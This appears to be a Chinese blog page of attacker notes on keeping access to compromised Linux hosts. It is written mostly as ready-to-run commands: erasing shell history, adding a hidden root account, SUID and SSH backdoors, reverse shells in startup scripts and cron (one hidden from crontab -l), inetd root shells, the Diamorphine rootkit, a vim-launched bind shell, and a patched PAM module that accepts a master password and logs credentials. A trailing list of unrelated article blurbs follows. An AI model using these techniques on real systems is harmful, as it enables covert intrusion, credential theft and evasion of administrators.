2.1_Linux权限维持

修改文件,终端属性

文件创建时间

将1.txt 的文件赋给 2.txt : touch -r 1.txt 2.txt

文件锁定

# 需 root 权限
chattr +i 1.txt		# 锁定文件
chattr -i 1.txt 	# 解除锁定rm -rf 1.txt 		# 删除文件
lsattr 1.txt 		# 查看文件属性

历史操作命令

# 关闭记录历史命令的功能   # [space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
[space]set +o history    需先打开 bash 使用:bash# 恢复记录历史命令的功能
[space]set -o history# 删除指定的历史命令
history -d [num]# 删除全部的历史命令
history -c

passwd 写入

# 生成密码
openssl passwd 123456# 记得更改用户名,不要太明显
# /etc/passwd 各部分含义:
# 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的shell
# 例:newroot:Z6gIorvSGN/UI:0:0:root:/root:/bin/bash
echo 'newroot:Z6gIorvSGN/UI:0:0:root:/root:/bin/bash' >> /etc/passwd# 若禁止root用户ssh登录,则可以留一个普通用户
echo 'newuser:Z6gIorvSGN/UI:1001:1000:user:/home/user:/bin/bash' >> /etc/passwd

SUID 后门

# 执行者将具有该程序(/tmp/.woot)拥有者的权限 , .开头是隐藏文件,通常会对其加锁
# root 用户复制 /bin/bash 到 /tmp/.woot
cp /bin/bash /tmp/.woot# 更改文件权限
# 4表示设置SUID位,7表示用户所有者读+写+执行,5表示属组和其他用户读+执行
chmod 4755 /tmp/.woot# 查看文件权限
ls -al /tmp/.woot# 切换为普通用户
# 运行文件,获得管理员权限, -p 指新建立一个终端
/tmp/.woot -p

开机自启

hacker 神器AI:https://www.whiterabbitneo.com/chats/m4qVjlG
# 例:Ubuntu 18.04 LTS   开机自启写入反弹shell的命令怎么写
# 系统的主要区别在开机自启目录# Ubuntu 18.04
# 移动到/etc/init.d/下
cd /etc/init.d/# 创建文件
touch reverse_shell.sh# 写入反弹shell的内容
#!/bin/bash
/bin/sh -i >& /dev/tcp/192.168.56.1/555 0>&1# 赋予执行权限
chmod +x /etc/init.d/reverse_shell.sh# 将脚本添加到引导序列中
update-rc.d reverse_shell.sh defaults# 攻击者开启监听
nc -lvnp 555# 受害者重启,登录用户后反弹成功
reboot

计划任务

计划任务文件位置

/etc/crontab

原理

计划任务文件权限配置错误,使普通用户也可以进行编辑

寻找root权限执行的计划任务:例:*/1 * * * * root /etc/cron.daily/backup

利用方式

# 查看计划任务
cat /etc/crontab# vi 或 vim 编辑找到的计划任务文件
例:vi /etc/cron.daily/backup# 写入反弹shell的语句,经过其设置的更新时间 即可反弹到shell(注意操作系统)
例:/bin/sh -i >& /dev/tcp/192.168.56.1/555 0>&1# 监听的操作系统使用nc监听
例:nc -lvnp 555# 最后等待计划任务启动即可(root权限)
# 或是命令启动(拥有命令执行者的权限)
以上述为例,则直接运行 /etc/cron.daily/backup 即可

SSH 后门

SSH 软链接后门

# 在目标Linux中以 root 身份运行
# 创建一个指向 SSHD 的链接,并尝试通过这个链接以 12345 端口进行连接
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=8002# kali 尝试连接(密码任意)
ssh root@192.168.7.199 -p 8002

SSH 公私钥密码登录

# SSH公私钥密码登录时,返回的权限取决于移动到的linux目标目录
# 例:(/root/.ssh/) 为 root 用户的目录,所以得到的权限为root权限# kali root用户移动到.ssh目录下
cd ~/.ssh# 查看当前目录有哪些文件(与后面进行比对)
ls -l# kali 生成公钥,直接回车即可
ssh-keygen# 将kali的 上面生成的.pub文件写入 authorized_keys 中
cat id_ed25519.pub > authorized_keys# kali于当前目录 开启 http服务,供目标Linux 下载
# 下载到目标Linux的 .ssh/authorized_keys 里
python -m http.server# 目标Linux 将文件移动到 /root/.ssh/ 文件 
mv authorized_keys /root/.ssh/
# 若是没有.ssh目录,执行以下命令,会自动创建(无论成功与否)
ssh localhost # kali 更改文件权限
# 文件拥有者拥有读写权限,其他用户没有权限
chmod 600 id_ed25519# 使用 kali 指定的私钥去连接目标Linux
ssh -i id_ed25519 root@192.168.7.199

SSH keyLogger 记录密码

# 判断当前Linux主机是否拥有 strace 工具
which strace   /  strace# linux 目标主机执行
vim .bashrc# 写入
alias ssh='strace -o /tmp/ssh-`date "+%m-%d-%H-%M"`.log -e read,write -s200 ssh'# 启用
source .bashrc# 当用户使用ssh连接其他主机时正确的密码就会被记录
# 到tmp目录下查看
cd /tmp
ls -l# 查看日志文件
例:cat ssh-07-29-20-25.log# 查找密码
grep -A 9 'password' 日志文件.log

inetd服务后门

# 方法一:
# 目标Linux 安装inetd
apt install openbsd-inetd# 目标Linux 编辑 /etc/inetd.conf
vim /etc/inetd.conf# 目标Linux 写入反弹shell命令
daytime stream tcp nowait root /bin/bash bash -i# 目标Linux 开启 inetd
inetd# kali连接目标Linux(默认13端口)
nc -vv 192.168.7.199 13 # 方法二:
# 写入 /etc/services
vim /etc/services# 修改 openbsd-inetd 服务默认端口的端口,添加语句
# 任意服务名 未占用端口/tcp #evil backdoor service  ,例:
woot 6666/tcp #evil backdoor service# 编辑 /etc/inetd.conf,将语句进行修改
# 任意服务名 stream tcp nowait root /bin/bash bash -i  ,例:
woot stream tcp nowait root /bin/bash bash -i# 目标Linux 开启 inetd
inetd# kali连接目标Linux(设置的端口)
nc -vv 192.168.7.199 6666

Rootkit

# 目标Linux 安装 Diamorphine ,建议安装在比较隐蔽的目录,如/tmp
cd /tmp
git clone https://github.com/m0nad/Diamorphine  (访问github需代理)# 移动到Diamorphine目录,安装其他
cd Diamorphine
apt install make # 启动
make# 以root身份运行,导入模块
insmod diamorphine.ko# 当下次任意用户使用如下命令时,将获得管理员权限
kill -64 0# 显示进程:ps
# 隐藏进程:kill -31 bash的pid号

VIM Python拓展后门

# 适用于安装了vim且安装了python拓展的linux系统
# 查看是否安装
vim --version
python --version  或 python3 --version# 目标Linux 创建任意文件写入
cd /tmp
touch shell.py
vim shell.py# 目标Linux 创建文件写入代码
# 创建了一个简单的TCP服务器,等待客户端的连接请求
# 一旦有客户端连接,它会创建一个交互式的shell连接,允许客户端执行命令并获取输出。
# 需管理员权限执行
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('0.0.0.0',11))server.listen(5)print ('waiting for connect')talk, addr = server.accept()print ('connect from',addr)proc = subprocess.Popen(["/bin/bash","-i"], stdin=talk,stdout=talk, stderr=talk, shell=True)# kali 开启连接
nc -vv 192.168.7.199 11
# 连接成功后无shell显示,但已经可以执行命令了# 目标Linux 隐藏可疑连接,并与 15s 后删除(需在15s内连接)
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 15 && rm -f shell.py

PAM后门

# 查看 PAM 版本
dpkg -s libpam-modules | grep -i version# 从自己的本机远程下载到 目标Linux 机器
# 本机开启http服务: python -m http.server
# 目标Linux 下载:wget http://192.168.56.1:8000/Linux-PAM-1.1.8.7z
# 解压: 7z x Linux-PAM-1.1.8.7z# 移动到对应目录下写入Payload
cd Linux-PAM-1.1.8
cd modules/pam_unix/
vim pam_unix_auth.c# vim 中查找 pam_sm_authenticate,并修改其内容
/pam_sm_authenticate# 替换为以下内容,其中 qing!@#123 为密码D(("user=%s, password=[%s]", name, p));/* verify the password of this user */retval = _unix_verify_password(pamh, name, p, ctrl);if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;}if(retval == PAM_SUCCESS){FILE * fp;fp = fopen("/bin/.sshlog", "a");fprintf(fp, "%s : %s\n", name, p);fclose(fp);}name = p = NULL;AUTH_RETURN;
}# 移动到对应目录下编译执行
cd ../../
chmod 777 configure
./configure
make# 寻找生成的文件,使用其将系统文件替换
find / -name pam_unix.so
# 备份系统文件
cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bank
# 替换
cp /tmp/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so# 当使用ssh登录后,可以看到ssh.log文件

Ubuntu利用Cron机制安装后门(少见)

# 一句话写入计划任务
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.56.1/2334 0>&1';\r%100c\n")|crontab -# kali/VPS 开启监听,等待连接
nc -lvnp 2334# 排查方式
crontab -l   结果为空
crontab -e
# 进入内部直接查看到反弹shell命令

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/2883.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

文件夹0字节:原因、恢复方案与预防措施

一、文件夹0字节现象描述 在日常使用电脑的过程中,我们可能会遇到这样一个问题:某个文件夹突然变成了0字节,这意味着该文件夹中的所有文件似乎都不见了,但实际上可能并未被彻底删除。文件夹0字节的情况常常让人困惑不解&#xff…

不需要复制粘贴,重复内容如何使用Mac快速完成输入

在Mac的日常使用中,必然有着重复内容需要重复输入的需求,但是Mac的剪切板又不具备历史记录的功能,所以只能一次次的复制粘贴,费时费力,那么该如何才能不这么麻烦 快捷短语就是为了解决这一问题而存在的 提前在设置好…

Java 打印流:PrintStream 与 PrintWriter 详解

在 Java 编程中,System.out.println() 的使用频率恐怕不亚于 main 方法的使用频率。其中,System.out 返回的正是打印流 PrintStream。除此之外,Java 还提供了另一个打印流 PrintWriter,它们分别继承自 OutputStream 和 Writer&…

RESTful风格

目录 一、什么是RESTful 1.1 RESTFul对WEB服务接口的规定包括: 1.2 REST对请求方式的具体约束如下: 1.3 REST对URL的具体约束如下: 1.4 RESTFul的核心概念: 二、RESTful风格与传统方式对比 三、RESTful风格演示 3.1 查询所…

运维工具之docker入门

1.容器与docker 1.什么是容器? 容器是一种轻量级的,可移植的软件运行环境。它将软件程序本身及软件依赖库打包在一起。可以在不同平台和系统上运行。 2.什么是LXC LXC就是Linux container,。LXC是一种虚拟化技术,可以在操作系统层级上为应…

Ubuntu系统安装NVIDIA驱动、CUDA、PyTorch等GPU深度学习环境

学习目标: 在Ubuntu系统上安装CUDA、PyTorch等GPU深度学习环境,主要目标是为深入研究深度学习和深度强化学习提供高效的计算支持。通过构建GPU环境,计划掌握深度学习的基本概念和算法应用,提高模型训练效率,特别是在复…

地理信息科学专业想搞GIS开发:学前端还是后端?

地理信息科学专业的同学是学前端开发比较好呢还是学后端开发比较好呢? 部分网友:学前端更好 主修前端更好,因为地信学后端,是卷不赢学计算机的 本科卷前端,硕士阶段可以卷后端 甚至有网友直呼,地信根本没有…

软件测试学习笔记丨Flask框架-请求与响应

本文转自测试人社区,原文链接:https://ceshiren.com/t/topic/23408 请求方法 from flask import Flaskapp Flask(__name__)app.route("/cases", methods["get"]) def get_case():return {"code": 0, "msg": &…

你敢想象吗?我能远程控制家里的电脑进入Bios

老家的爸妈用电脑也不知怎的,偶尔就不行了。这个偶尔还挺频繁的,我自己又会修电脑,但奈何距离太远!如果叫别人上门修电脑,一次就是200…… 我的心在滴血啊在滴血~如果有这么一款产品,就算电脑无…

基于STM32的温湿度监测器教学

引言 随着科技的发展,温湿度监测在农业、仓储、环境监测等领域的应用越来越广泛。本文将指导您如何基于STM32开发一个简单的温湿度监测器,使用常用的DHT11或DHT22传感器进行数据采集,并将监测结果显示在LCD或OLED屏幕上。 项目名称 STM32温湿…

科研绘图系列:R语言组合堆积图(stacked plot)

文章目录 介绍加载R包数据数据预处理画图1画图2组合图形系统信息介绍 堆积图(Stacked Chart),也称为堆叠图,是一种常用的数据可视化图表,主要用于展示不同类别的数据量在总体中的分布情况。堆积图可以是柱状图、条形图或面积图的形式,其中各个类别的数据量被叠加在一起,…

红黑树的平衡之舞:数据结构中的优雅艺术

文章目录 前言🚀一、红黑树的介绍1.1 红黑树的概念1.2 红黑树的特点1.3 红黑树的性质 🚀二、红黑树结点的定义🚀三、红黑树的框架🚀四、旋转操作🚀五、红黑树的插入操作5.1 uncle结点存在且为红5.2 uncle结点不存在或者…

ONLYOFFICE 8.2版本产品评测——遥遥领先,助力自动化办公

ONLYOFFICE 产品测试体验报告总结 知孤云出岫-CSDN博客 目录 产品介绍——篇【1】 一.关于 ONLYOFFICE 桌面编辑器 二.关于 ONLYOFFICE 协作空间 三.关于 ONLYOFFICE 文档 四.关于 ONLYOFFICE的版本介绍 产品新功能——篇【2】 一.关于 ONLYOFFICE的新增功能介绍 二.ONL…

【Linux驱动开发】通过设备树节点来配置和调用GPIO(pinctrl节点和gpio-controller)

【Linux驱动开发】通过设备树节点来配置和调用GPIO(pinctrl节点和gpio-controller) 文章目录 设备树下pinctrl节点GPIO控制节点调用方法GPIO输入附录:嵌入式Linux驱动开发基本步骤开发环境驱动文件编译驱动安装驱动自动创建设备节点文件 驱动…

【Linux】安装 SQL Server 命令行工具 mssql-tools18(Ubuntu 22.04)

引言 mssql-tools18 是一个包含 Microsoft SQL Server 命令行工具的软件包。这些工具包括 sqlcmd 和 bcp。 sqlcmd 是一个允许你用命令行与 SQL Server 进行交互的工具。你可以用它来运行 SQL 脚本,执行数据库维护任务,以及进行其他数据库管理操作。 b…

库存管理内训课件|39页PPT

文件是一份关于库存管理的内训课件,内容涵盖了库存管理的定义、分类、作用、存在的问题、管控目标以及具体管控措施。以下是对课件内容的总结: 1. 定义及分类 库存:为满足未来需求而暂时闲置的有价值的资源,与物品是否处于运动状…

大零售时代下融合发展的新路径:定制开发技术的应用与思考

摘要:本文探讨在大零售背景下,传统零售边界模糊,融合成为趋势。分析大零售包含的跨行业跨业态融合等三个层面,重点阐述定制开发技术中的 21 链动模式、AI 智能名片和 S2B2C 商城小程序在推动大零售发展中的作用和意义,…

OceanBase 安装使用详细说明

OceanBase 安装使用详细说明 一、系统环境要求二、安装OceanBase环境方案一:在线下载并安装all-in-one安装包方案二:离线安装all-in-one安装包安装前的准备工作三、配置OceanBase集群编辑配置文件部署和启动集群连接到集群集群状态和管理四、创建业务租户和数据库创建用户并赋…

基于LabVIEW应用ARINC 429板卡实现数据通讯——(下篇)

五、基于LabVIEW实现数据通讯 基于LabVIEW实现429板卡的数据通讯是调用API 动态链接库文件来实现的。该文件中有许多的板卡操作函数,在调用板卡中必须按照一定的函数调用流程来操作板卡,否则极易出现板卡操作错误。 1、API函数的调用步骤 API函数的调…

Android Studio打包时不显示“Generate Signed APK”提示信息

Android Studio打包时,默认显示“Generate Signed APK”提示信息,如下图所示: 如果在打包时不显示“Generate Signed APK”提示信息,解决办法是: Android Studio菜单栏,“File->Settings->Appearan…